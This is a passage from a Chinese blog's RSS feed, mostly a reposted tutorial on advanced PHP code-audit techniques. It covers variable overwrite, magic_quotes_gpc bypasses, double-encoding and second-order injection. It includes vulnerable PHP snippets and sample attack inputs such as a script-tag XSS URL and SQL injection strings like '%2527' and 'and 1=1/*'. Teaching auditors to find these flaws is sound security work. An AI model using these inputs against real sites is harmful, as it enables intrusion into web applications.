/>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;font color=&quot;red&quot;&gt;CreatePathFail:</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$path</span><span style="color: Gray;"> .</span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;/font&gt;</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>以上适用于中小型网站解决镜像同步问题，大型高并发网站还是整squid节点共享吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/http-404-mirror/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[转]高级PHP应用程序漏洞审核技术</title>
		<link>http://www.ieliwb.com/php-security-ph4nt0m/</link>
		<comments>http://www.ieliwb.com/php-security-ph4nt0m/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 10:30:28 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/%e8%bd%ac%e9%ab%98%e7%ba%a7php%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e6%bc%8f%e6%b4%9e%e5%ae%a1%e6%a0%b8%e6%8a%80%e6%9c%af/</guid>
		<description><![CDATA[<blockquote>PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强
大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型
门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，
Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应
用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应
用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇
佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形
势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些
大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很
多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没
有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术
经验和大家分享。</blockquote>[......]<p class='read-more'><a href='http://www.ieliwb.com/php-security-ph4nt0m/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">[目录]<br />&nbsp;<br />1. 前言<br />2. 传统的代码审计技术<br />3. PHP版本与应用代码审计<br />4. 其他的因素与应用代码审计<br />5. 扩展我们的字典<br />&nbsp; 5.1 变量本身的key<br />&nbsp; 5.2 变量覆盖<br />&nbsp;&nbsp; &nbsp;5.2.1 遍历初始化变量<br />&nbsp;&nbsp; &nbsp;5.2.2 parse_str()变量覆盖漏洞<br />&nbsp;&nbsp; &nbsp;5.2.3 import_request_variables()变量覆盖漏洞<br />&nbsp;&nbsp; &nbsp;5.2.4 PHP5 Globals <br />&nbsp; 5.3 magic_quotes_gpc与代码安全<br />&nbsp;&nbsp; &nbsp;5.3.1 什么是magic_quotes_gpc<br />&nbsp;&nbsp; &nbsp;5.3.2 哪些地方没有魔术引号的保护<br />&nbsp;&nbsp; &nbsp;5.3.3 变量的编码与解码<br />&nbsp;&nbsp; &nbsp;5.3.4 二次攻击<br />&nbsp;&nbsp; &nbsp;5.3.5 魔术引号带来的新的安全问题<br />&nbsp;&nbsp; &nbsp;5.3.6 变量key与魔术引号<br />&nbsp; 5.4 代码注射<br />&nbsp;&nbsp; &nbsp;5.4.1 PHP中可能导致代码注射的函数<br />&nbsp;&nbsp; &nbsp;5.4.2 变量函数与双引号<br />&nbsp; 5.5 PHP自身函数漏洞及缺陷<br />&nbsp;&nbsp; &nbsp;5.5.1 PHP函数的溢出漏洞<br />&nbsp;&nbsp; &nbsp;5.5.2 PHP函数的其他漏洞<br />&nbsp;&nbsp; &nbsp;5.5.3 session_destroy()删除文件漏洞<br />&nbsp;&nbsp; &nbsp;5.5.4 随机函数<br />&nbsp; 5.6 特殊字符<br />&nbsp;&nbsp; &nbsp;5.6.1 截断<br />&nbsp;&nbsp; &nbsp; &nbsp;5.6.1.1 include截断<br />&nbsp;&nbsp; &nbsp; &nbsp;5.6.1.2 数据截断<br />&nbsp;&nbsp; &nbsp; &nbsp;5.6.1.3 文件操作里的特殊字符<br />6. 怎么进一步寻找新的字典<br />7. DEMO<br />8. 后话<br />9. 附录<br />&nbsp;<br />&nbsp;<br />一、前言<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强<br />大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型<br />门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，<br />Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应<br />用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应<br />用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇<br />佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形<br />势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些<br />大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很<br />多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没<br />有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术<br />经验和大家分享。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享，在<br />这里需要感谢他们，：）<br />&nbsp;<br />&nbsp;<br />二、传统的代码审计技术<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;WEB应用程序漏洞查找基本上是围绕两个元素展开：变量与函数。也就是说一漏洞的利用<br />必须把你提交的恶意代码通过变量经过n次变量转换传递，最终传递给目标函数执行，还记得<br />MS那句经典的名言吗？“一切输入都是有害的”。这句话只强调了变量输入，很多程序员把“输<br />入”理解为只是gpc[$_GET,$_POST,$_COOKIE]，但是变量在传递过程产生了n多的变化。导致<br />很多过滤只是个“纸老虎”！我们换句话来描叙下代码安全：“一切进入函数的变量是有害的”。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP代码审计技术用的最多也是目前的主力方法：静态分析，主要也是通过查找容易导致<br />安全漏洞的危险函数，常用的如grep，findstr等搜索工具，很多自动化工具也是使用正则来搜<br />索这些函数。下面列举一些常用的函数，也就是下文说的字典（暂略）。但是目前基本已有的<br />字典很难找到漏洞，所以我们需要扩展我们的字典，这些字典也是本文主要探讨的。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;其他的方法有：通过修改PHP源代码来分析变量流程，或者hook危险的函数来实现对应用<br />程序代码的审核，但是这些也依靠了我们上面提到的字典。<br />&nbsp;<br />&nbsp;<br />三、PHP版本与应用代码审计<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;到目前为止，PHP主要有3个版本：php4、php5、php6，使用比例大致如下：<br />&nbsp;<br />php4 68% <br />2000-2007，No security fixes after 2008/08，最终版本是php4.4.9<br />&nbsp;<br />php5 32% <br />2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!）<br />&nbsp;<br />php6 <br />目前还在测试阶段，变化很多做了大量的修改，取消了很多安全选项如magic_quotes_gpc。<br />（这个不是今天讨论的范围）<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;由于php缺少自动升级的机制，导致目前PHP版本并存，也导致很多存在漏洞没有被修补。<br />这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象，也是我们字典重要来源。<br />&nbsp;<br />&nbsp;<br />四、其他的因素与应用代码审计<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多代码审计者拿到代码就看，他们忽视了“安全是一个整体”，代码安全很多的其他因素<br />有关系，比如上面我们谈到的PHP版本的问题，比较重要的还有操作系统类型（主要是两大阵营<br />win/*nix），WEB服务端软件（主要是iis/apache两大类型）等因素。这是由于不同的系统不同<br />的WEB SERVER有着不同的安全特点或特性，下文有些部分会涉及。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;所以我们在做某个公司WEB应用代码审计时，应该了解他们使用的系统，WEB服务端软件，<br />PHP版本等信息。<br />&nbsp;<br />&nbsp;<br />五、扩展我们的字典<br />&nbsp;<br />下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。<br />&nbsp;<br />5.1 变量本身的key<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值，但是忘记了有的<br />程序把变量本身的key也当变量提取给函数处理。<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//key.php?aaaa&quot;aaa=1&amp;bb&quot;b=2 </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//print_R($_GET); </span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Green;">foreach</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">AS</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;上面的代码就提取了变量本身的key显示出来，单纯对于上面的代码，如果我们提交URL：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />key.php?&lt;script&gt;alert(1);&lt;/script&gt;=1&amp;bbb=2<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;那么就导致一个xss的漏洞，扩展一下如果这个key提交给include()等函数或者sql查询<br />呢？：） <br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2 变量覆盖（variable-overwrite）<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指<br />定函数可以导致变量覆盖，但是还有很多其他情况导致变量覆盖的如：<br />&nbsp;<br />5.2.1 遍历初始化变量<br />&nbsp;<br />请看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//var.php?a=fuck</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$a</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">hi</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;$</span><span style="color: #00008b;">$key</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$value</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$a</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多的WEB应用都使用上面的方式（注意循环不一定是foreach），如Discuz!4.1的WAP部分<br />的代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$chs = &quot;&quot;;<br />if($_POST &amp;&amp; $charset != &quot;utf-8&quot;) {<br />&nbsp;&nbsp; &nbsp;$chs = new Chinese(&quot;UTF-8&quot;, $charset);<br />&nbsp;&nbsp; &nbsp;foreach($_POST as $key =&gt; $value) {<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$$key = $chs-&gt;Convert($value);<br />&nbsp;&nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp;unset($chs);<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2.2 parse_str()变量覆盖漏洞（CVE-2007-3205）、mb_parse_str() <br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//var.php?var=new<br />$var = &quot;init&quot;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />parse_str($_SERVER[&quot;QUERY_STRING&quot;]); <br />print $var;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;该函数一样可以覆盖数组变量，上面的代码是通过$_SERVER[&quot;QUERY_STRING&quot;]来提取变<br />量的，对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//var.php?var=1&amp;a[1]=var1%3d222<br />$var1 = &quot;init&quot;;<br />parse_str($a[$_GET[&quot;var&quot;]]);<br />print $var1;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />上面的代码通过提交$var来实现对$var1的覆盖。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（parse_str）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符parse_str<br />+++++++++++++++++++++++++<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（mb_parse_str）<br />-------------------------<br />PHP版本要求：php4&lt;4.4.7 php5&lt;5.2.2<br />系统要求：无<br />审计策略：查找字符mb_parse_str<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2.3 import_request_variables()变量覆盖漏洞（CVE-2007-1396）<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1<br />echo &quot;GLOBALS &quot;.(int)ini_get(&quot;register_globals&quot;).&quot;n&quot;;<br />import_request_variables(&quot;GPC&quot;);<br />if ($_SERVER[&quot;REMOTE_ADDR&quot;] != &quot;10.1.1.1&quot;) die(&quot;Go away!&quot;);<br />echo &quot;Hello admin!&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（import_request_variables）<br />-------------------------<br />PHP版本要求：php4&lt;4.4.1 php5&lt;5.2.2<br />系统要求：无<br />审计策略：查找字符import_request_variables<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2.4 PHP5 Globals <br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从严格意义上来说这个不可以算是PHP的漏洞，只能算是一个特性，测试代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">// register_globals =ON</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//foo.php?GLOBALS[foobar]=HELLO</span><span style="color: Gray;"><br /></span><span style="color: Blue;">php</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$foobar</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;但是很多的程序没有考虑到这点，请看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//为了安全取消全局变量<br />//var.php?GLOBALS[a]=aaaa&amp;b=111<br />if (ini_get(&quot;register_globals&quot;)) foreach($_REQUEST as $k=&gt;$v) unset(${$k});<br />print $a;<br />print $_GET[b];<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;如果熟悉WEB2.0的攻击的同学，很容易想到上面的代码我们可以利用这个特性进行crsf<br />攻击。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3 magic_quotes_gpc与代码安全<br />&nbsp;<br />5.3.1 什么是magic_quotes_gpc<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当打开时，所有的 &quot;（单引号），&quot;（双引号），\（反斜线）和 NULL 字符都会被自动加上一个<br />反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、<br />mysql_real_escape_string()等，另外还有parse_str()后的变量也受magic_quotes_gpc的影<br />响。目前大多数的主机都打开了这个选项，并且很多程序员也注意使用上面那些函数去过滤<br />变量，这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃，但是<br />就在他们放弃的同时也放过很多致命的安全漏洞。 ：）<br />&nbsp;<br />5.3.2 哪些地方没有魔术引号的保护<br />&nbsp;&nbsp; &nbsp;<br />1) $_SERVER变量 <br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP5的$_SERVER变量缺少magic_quotes_gpc的保护，导致近年来X-Forwarded-For的漏洞<br />猛暴，所以很多程序员考虑过滤X-Forwarded-For，但是其他的变量呢？<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（$_SERVER变量）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符_SERVER<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />2) getenv()得到的变量（使用类似$_SERVER变量）<br />&nbsp;&nbsp; <br />+++++++++++++++++++++++++<br />漏洞审计策略（getenv()）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符getenv<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />3) $HTTP_RAW_POST_DATA与PHP输入、输出流<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;主要应用与soap/xmlrpc/webpublish功能里，请看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />if ( !isset( $HTTP_RAW_POST_DATA ) ) {<br />&nbsp;&nbsp; &nbsp;$HTTP_RAW_POST_DATA = file_get_contents( &quot;php://input&quot; );<br />}<br />if ( isset($HTTP_RAW_POST_DATA) )<br />&nbsp;&nbsp; &nbsp;$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（数据流）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符HTTP_RAW_POST_DATA或者php://input<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />4) 数据库操作容易忘记&quot;的地方如：in()/limit/order by/group by<br />&nbsp;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;如Discuz!&lt;5.0的pm.php：<br />&nbsp;&nbsp; &nbsp; <br />--code-------------------------------------------------------------------------<br />if(is_array($msgtobuddys)) {<br />&nbsp;&nbsp; &nbsp;$msgto = array_merge($msgtobuddys, array($msgtoid));<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;......<br />foreach($msgto as $uid) {<br />&nbsp;&nbsp; &nbsp;$uids .= $comma.$uid;<br />&nbsp;&nbsp; &nbsp;$comma = &quot;,&quot;;<br />}<br />......<br />$query = $db-&gt;query(&quot;SELECT m.username, mf.ignorepm FROM {$tablepre}members m<br />&nbsp;&nbsp; &nbsp;LEFT JOIN {$tablepre}memberfields mf USING(uid)<br />&nbsp;&nbsp; &nbsp;WHERE m.uid IN ($uids)&quot;);<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找数据库操作字符（select,update,insert等等）<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.3 变量的编码与解码<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;一个WEB程序很多功能的实现都需要变量的编码解码，而且就在这一转一解的传递过程中<br />就悄悄的绕过你的过滤的安全防线。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这个类型的主要函数有：<br />&nbsp;<br />1) stripslashes() 这个其实就是一个decode-addslashes()<br />&nbsp;<br />2) 其他字符串转换函数：<br />&nbsp;<br />base64_decode -- 对使用 MIME base64 编码的数据进行解码<br />base64_encode -- 使用 MIME base64 对数据进行编码<br />rawurldecode -- 对已编码的 URL 字符串进行解码<br />rawurlencode -- 按照 RFC 1738 对 URL 进行编码<br />urldecode -- 解码已编码的 URL 字符串<br />urlencode -- 编码 URL 字符串<br />&nbsp;......<br />（另外一个 unserialize/serialize）<br />&nbsp;<br />3) 字符集函数（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等<br />&nbsp;&nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;目前很多漏洞挖掘者开始注意这一类型的漏洞了，如典型的urldecode：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$sql = &quot;SELECT * FROM article WHERE articleid=&quot;&quot;.urldecode($_GET[id]).&quot;&quot;&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当magic_quotes_gpc=on时，我们提交?id=%2527，得到sql语句为：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />SELECT * FROM article WHERE articleid=&quot;&quot;&quot;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找对应的编码函数<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.4 二次攻击（详细见附录[1]）<br />&nbsp;<br />1) 数据库出来的变量没有进行过滤<br />&nbsp;<br />2) 数据库的转义符号：<br />&nbsp;<br />&nbsp; * mysql/oracle转义符号同样是\（我们提交&quot;通过魔术引号变化为\&quot;，当我们update进入数<br />据库时，通过转义变为&quot;）<br />&nbsp;<br />&nbsp; * mssql的转义字符为&quot;（所以我们提交&quot;通过魔术引号变化为\&quot;，mssql会把它当为一个字符<br />串直接处理，所以魔术引号对于mssql的注射没有任何意义）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;从这里我们可以思考得到一个结论：一切进入函数的变量都是有害的，另外利用二次攻击<br />我们可以实现一个webrootkit，把我们的恶意构造直接放到数据库里。我们应当把这样的代<br />码看成一个vul？<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.5 魔术引号带来的新的安全问题<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;首先我们看下魔术引号的处理机制：<br />&nbsp;<br />[\--&gt;\\,&quot;--&gt;\&quot;,&quot;--&gt;\&quot;,null--&gt;\0]<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这给我们引进了一个非常有用的符号“\”，“\”符号不仅仅是转义符号，在WIN系统下也是<br />目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞：<br />&nbsp;<br />1) 得到原字符（&quot;,\,&quot;,null]）<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$order_sn=substr($_GET[&quot;order_sn&quot;], 1);<br />&nbsp;<br />//提交&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;<br />//魔术引号处理&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\&quot;<br />//substr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;<br />&nbsp;<br />$sql = &quot;SELECT order_id, order_status, shipping_status, pay_status, &quot;.<br />&nbsp;&nbsp; &quot; shipping_time, shipping_id, invoice_no, user_id &quot;.<br />&nbsp;&nbsp; &quot; FROM &quot; . $ecs-&gt;table(&quot;order_info&quot;).<br />&nbsp;&nbsp; &quot; WHERE order_sn = &quot;$order_sn&quot; LIMIT 1&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />2) 得到“\”字符<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$order_sn=substr($_GET[&quot;order_sn&quot;], 0,1);<br />&nbsp;<br />//提交&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;<br />//魔术引号处理&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\&quot;<br />//substr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\&nbsp; &nbsp; <br />&nbsp;<br />$sql = &quot;SELECT order_id, order_status, shipping_status, pay_status, &quot;.<br />&nbsp;&nbsp; &quot; shipping_time, shipping_id, invoice_no, user_id &quot;.<br />&nbsp;&nbsp; &quot; FROM &quot; . $ecs-&gt;table(&quot;order_info&quot;).<br />&nbsp;&nbsp; &quot; WHERE order_sn = &quot;$order_sn&quot; and order_tn=&quot;&quot;.$_GET[&quot;order_tn&quot;].&quot;&quot;&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; <br />&nbsp;&nbsp; &nbsp;提交内容：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />?order_sn=&quot;&amp;order_tn=%20and%201=1/* <br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;执行的SQL语句为：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />SELECT order_id, order_status, shipping_status, pay_status, shipping_time, <br />shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = &quot;\&quot; and <br />order_tn=&quot; and 1=1/*&quot;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符串处理函数如substr或者通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.6 变量key与魔术引号<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;我们最在这一节的开头就提到了变量key，PHP的魔术引号对它有什么影响呢？<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//key.php?aaaa&quot;aaa=1&amp;bb&quot;b=2 </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//print_R($_GET); </span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Green;">foreach</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">AS</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />1) 当magic_quotes_gpc = On时，在php5.24下测试显示：<br />&nbsp; <br />aaaa\&quot;aaa<br />bb\&quot;b<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从上面结果可以看出来，在设置了magic_quotes_gpc = On下，变量key受魔术引号影响。<br />但是在php4和php&lt;5.2.1的版本中，不处理数组第一维变量的key，测试代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: 